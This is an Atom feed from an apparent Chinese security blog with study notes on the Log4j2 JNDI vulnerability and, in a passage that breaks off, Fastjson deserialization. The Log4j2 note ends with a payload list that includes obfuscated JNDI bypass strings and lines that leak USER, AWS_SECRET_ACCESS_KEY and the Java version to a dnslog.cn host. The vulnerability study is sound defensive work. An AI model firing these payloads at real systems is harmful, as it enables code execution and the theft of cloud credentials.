<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Script kiddie&#39;s life</title>
  
  <subtitle>学无止境</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://lnng.top/"/>
  <updated>2024-02-28T08:45:02.798Z</updated>
  <id>https://lnng.top/</id>
  
  <author>
    <name>Lmg</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>log4j2漏洞学习笔记</title>
    <link href="https://lnng.top/posts/3947.html"/>
    <id>https://lnng.top/posts/3947.html</id>
    <published>2024-02-26T19:00:00.000Z</published>
    <updated>2024-02-28T08:45:02.798Z</updated>
    
    <content type="html"><![CDATA[<h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>maven环境</p><pre class=" language-xml"><code class="language-xml"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>project</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://maven.apache.org/POM/4.0.0<span class="token punctuation">"</span></span> <span class="token attr-name"><span class="token namespace">xmlns:</span>xsi</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/2001/XMLSchema-instance<span class="token punctuation">"</span></span>  <span class="token attr-name"><span class="token namespace">xsi:</span>schemaLocation</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>modelVersion</span><span class="token punctuation">></span></span>4.0.0<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>modelVersion</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>top.lnng.log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>1.0-SNAPSHOT<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>packaging</span><span class="token punctuation">></span></span>jar<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>packaging</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span>log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>url</span><span class="token punctuation">></span></span>http://maven.apache.org<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>url</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>properties</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>project.build.sourceEncoding</span><span class="token punctuation">></span></span>UTF-8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>project.build.sourceEncoding</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>properties</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependencies</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.logging.log4j<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j-core<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>2.14.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.logging.log4j<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j-api<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>2.14.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>junit<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>junit<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>3.8.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>scope</span><span class="token punctuation">></span></span>test<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>scope</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependencies</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>build</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>plugins</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>plugin</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.maven.plugins<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>maven-compiler-plugin<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>configuration</span><span class="token punctuation">></span></span>          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span><span class="token punctuation">></span></span>8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>source</span><span class="token punctuation">></span></span>          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>target</span><span class="token punctuation">></span></span>8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>target</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>configuration</span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>plugin</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>plugins</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>build</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>project</span><span class="token punctuation">></span></span></code></pre><p>log4j2.xml</p><pre class=" language-xml"><code class="language-xml"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8"?></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>configuration</span> <span class="token attr-name">status</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>info<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Properties</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>pattern1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>[%-5p] %d %c - %m%n<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>pattern2<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>      =========================================%n 日志级别：%p%n 日志时间：%d%n 所属类名：%c%n 所属线程：%t%n 日志信息：%m%n    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>filePath<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>logs/myLog.log<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Properties</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appenders</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Console</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>Console<span class="token punctuation">"</span></span> <span class="token attr-name">target</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>SYSTEM_OUT<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>PatternLayout</span> <span class="token attr-name">pattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${pattern1}<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Console</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>RollingFile</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>RollingFile<span class="token punctuation">"</span></span> <span class="token attr-name">fileName</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${filePath}<span class="token punctuation">"</span></span>               <span class="token attr-name">filePattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>PatternLayout</span> <span class="token attr-name">pattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${pattern2}<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>SizeBasedTriggeringPolicy</span> <span class="token attr-name">size</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>5 MB<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>RollingFile</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>appenders</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>loggers</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>info<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appender-ref</span> <span class="token attr-name">ref</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>Console<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appender-ref</span> <span class="token attr-name">ref</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>RollingFile<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>loggers</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>configuration</span><span class="token punctuation">></span></span></code></pre><p>测试类</p><pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>        Logger logger <span class="token operator">=</span> LogManager<span class="token punctuation">.</span><span class="token function">getLogger</span><span class="token punctuation">(</span>LongFunction<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String username <span class="token operator">=</span> <span class="token string">"${jndi:ldap://127.0.0.1:8085/GFxElmpt}"</span><span class="token punctuation">;</span>        logger<span class="token punctuation">.</span><span class="token function">info</span><span class="token punctuation">(</span><span class="token string">"User {} login in!"</span><span class="token punctuation">,</span> username<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p>环境整体结构</p><p><img src="/images/pasted-1092.png" alt="upload successful"></p><h3 id="调试分析"><a href="#调试分析" class="headerlink" title="调试分析"></a>调试分析</h3><p>不停的的下断点定位触发位置<br>发现i为7的时候有执行</p><p><img src="/images/pasted-1093.png" alt="upload successful"><br>步进查看</p><p><img src="/images/pasted-1094.png" alt="upload successful"><br>判断是否是 Log4j2 的 lookups 功能，我们是有的，继续下走，判断workingBuilder 中是否存在 ${，存在进行截取，然后进行 replace()方法</p><p><img src="/images/pasted-1095.png" alt="upload successful"></p><p><img src="/images/pasted-1096.png" alt="upload successful"><br>跟进 replace() 方法看看</p><p><img src="/images/pasted-1097.png" alt="upload successful"></p><p><img src="/images/pasted-1098.png" alt="upload successful"></p><p><img src="/images/pasted-1099.png" alt="upload successful"><br>一直步进找业务逻辑，substitute前面都是赋值，只需要关心我们payload的变化就行。<br>while循环读取将 ${} 中间的内容取出来</p><p><img src="/images/pasted-1100.png" alt="upload successful"><br>然后会再次进入substitute，传入的buf没有${}了</p><p><img src="/images/pasted-1101.png" alt="upload successful"><br>步进resolveVariable函数</p><p><img src="/images/pasted-1102.png" alt="upload successful"><br>resolveVariable里面调用了lookup，继续跟进，最终在jndiManager.lookup调用</p><p><img src="/images/pasted-1103.png" alt="upload successful"><br>jndiManager lookup调用this.context的，JndiManagerFactory 来创建 JndiManager </p><p><img src="/images/pasted-1104.png" alt="upload successful"><br>看下JndiManagerFactory</p><p><img src="/images/pasted-1105.png" alt="upload successful"><br>创建InitialContext 实例，返回一个JndiManager对象</p><p>JndiManager就是最终触发的位置，后面就是jndi注入的问题了</p><ol><li>先判断内容中是否有${}，然后截取${}中的内容，得到我们的恶意payload jndi:xxx</li><li>后使用:分割payload，通过前缀来判断使用何种解析器去lookup</li><li>支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j</li></ol><h3 id="利用payload"><a href="#利用payload" class="headerlink" title="利用payload"></a>利用payload</h3><p>${jndi:ldap://127.0.0.1:8085/GFxElmpt}<br>${jnd${upper:ı}:ldap://[127.0.0.1]]/mESHFnWc}  jndi要开389</p><pre class=" language-xml"><code class="language-xml">${jnd${upper:\u0131}:ldap://[127.0.0.1]]/KWhsLxIC}</code></pre><p><img src="/images/pasted-1106.png" alt="upload successful"><br>${${qax:-j${qax-::qax::-n}}${lower:${upper:d}}${upper:ı}:ldap://127.0.0.1:8086/mhStyxHU}<br>${jndi:ldap://${env:USER}.dnslog.cn}<br>${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}<br>${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}<br>${bundle:application:spring.datasource.password}</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;环境搭建&quot;&gt;&lt;a href=&quot;#环境搭建&quot; class=&quot;headerlink&quot; title=&quot;环境搭建&quot;&gt;&lt;/a&gt;环境搭建&lt;/h3&gt;&lt;p&gt;maven环境&lt;/p&gt;
&lt;pre class=&quot; language-xml&quot;&gt;&lt;code class=&quot;language-x
      
    
    </summary>
    
    
      <category term="Web安全" scheme="https://lnng.top/categories/Web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="代码审计" scheme="https://lnng.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="JAVA" scheme="https://lnng.top/tags/JAVA/"/>
    
      <category term="log4j2" scheme="https://lnng.top/tags/log4j2/"/>
    
  </entry>
  
  <entry>
    <title>Fastjson漏洞学习笔记</title>
    <link href="https://lnng.top/posts/1f24.html"/>
    <id>https://lnng.top/posts/1f24.html</id>
    <published>2024-02-02T02:27:00.000Z</published>
    <updated>2024-02-26T19:01:12.670Z</updated>
    
    <content type="html"><![CDATA[<h1 id="流程分析"><a href="#流程分析" class="headerlink" title="流程分析"></a>流程分析</h1><p>Fastjson的核心目的将json格式数据转换为对象。</p><h4 id="1-1-基础使用"><a href="#1-1-基础使用" class="headerlink" title="1.1 基础使用"></a>1.1 基础使用</h4><p>将json数据转换为jsonObject，可以更加方便的获取</p><pre class=" language-javascript"><code class="language-javascript"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span>SerializerFeature<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">StudentSerialize</span> <span class="token punctuation">{</span>  <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>    String a <span class="token operator">=</span> <span class="token string">"{\"age\":123456,\"name\":\"test\"}"</span><span class="token punctuation">;</span>    JSONObject parse <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>parse<span class="token punctuation">.</span><span class="token function">getString</span><span class="token punctuation">(</span><span class="token string">"age"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>parse<span class="token punctuation">.</span><span class="token function">getString</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p>将json转换为指定对象</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span>SerializerFeature<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">StudentSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>        String a <span class="token operator">=</span> <span class="token string">"{\"age\":123456,\"name\":\"test\"}"</span><span class="token punctuation">;</span>        Student student <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> Student<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>student<span class="token punctuation">.</span><span class="token function">getAge</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1027.png" alt="upload successful"><br>支持@type在json数据中指定反序列化的类名称，调用不同的类代码</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span>SerializerFeature<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">StudentSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>        Student student <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Student</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        student<span class="token punctuation">.</span><span class="token function">setName</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String jsonString <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">toJSONString</span><span class="token punctuation">(</span>student<span class="token punctuation">,</span> SerializerFeature<span class="token punctuation">.</span>WriteClassName<span class="token punctuation">)</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>jsonString<span class="token punctuation">)</span><span class="token punctuation">;</span>        String a <span class="token operator">=</span> <span class="token string">"{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}"</span><span class="token punctuation">;</span>        JSONObject jsonObject <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>jsonObject<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1028.png" alt="upload successful"></p><h4 id="1-2-流程"><a href="#1-2-流程" class="headerlink" title="1.2 流程"></a>1.2 流程</h4><p><img src="/images/pasted-1029.png" alt="upload successful"></p><p><img src="/images/pasted-1030.png" alt="upload successful"></p><h5 id="getDeserializer"><a href="#getDeserializer" class="headerlink" title="getDeserializer"></a>getDeserializer</h5><p>根据各种条件选择合适的反序列化器，1.2.24也有一个黑名单，是禁止线程相关类</p><p><img src="/images/pasted-1031.png" alt="upload successful"></p><p><img src="/images/pasted-1032.png" alt="upload successful"><br>根据class的类型，来设置asm是否为false，比如必须是public</p><p><img src="/images/pasted-1033.png" alt="upload successful"><br>JavaBeanInfo.build获取beanInfo 根据beanInfo来配置asmEnable</p><p><img src="/images/pasted-1034.png" alt="upload successful"><br>最后根据asmEnable的值来确定使用那个反序列器</p><p><img src="/images/pasted-1035.png" alt="upload successful"><br>由于FastjsonASM无法调试，还是得想办法设置asmEnable为false<br><a href="https://blog.csdn.net/qq_45854465/article/details/120960671" target="_blank" rel="noopener">https://blog.csdn.net/qq_45854465/article/details/120960671</a></p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>parser<span class="token punctuation">.</span>ParserConfig<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span>SerializerFeature<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">StudentSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>        Student student <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Student</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        student<span class="token punctuation">.</span><span class="token function">setName</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String jsonString <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">toJSONString</span><span class="token punctuation">(</span>student<span class="token punctuation">,</span> SerializerFeature<span class="token punctuation">.</span>WriteClassName<span class="token punctuation">)</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>jsonString<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">boolean</span> flag<span class="token punctuation">;</span>        flag <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>        ParserConfig config <span class="token operator">=</span> ParserConfig<span class="token punctuation">.</span><span class="token function">getGlobalInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        config<span class="token punctuation">.</span><span class="token function">setAsmEnable</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">;</span>        String a <span class="token operator">=</span> <span class="token string">"{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}"</span><span class="token punctuation">;</span>        JSONObject jsonObject <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>jsonObject<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><h5 id="deserializer-deserialze"><a href="#deserializer-deserialze" class="headerlink" title="deserializer.deserialze"></a>deserializer.deserialze</h5><p><img src="/images/pasted-1036.png" alt="upload successful"></p><p><img src="/images/pasted-1037.png" alt="upload successful"><br>根据遍历的fieldValue<br><img src="/images/pasted-1038.png" alt="upload successful"></p><p><img src="/images/pasted-1039.png" alt="upload successful"></p><p><img src="/images/pasted-1040.png" alt="upload successful"></p><p><img src="/images/pasted-1041.png" alt="upload successful"><br>get方法调用位置，反序列对象后又json</p><p><img src="/images/pasted-1042.png" alt="upload 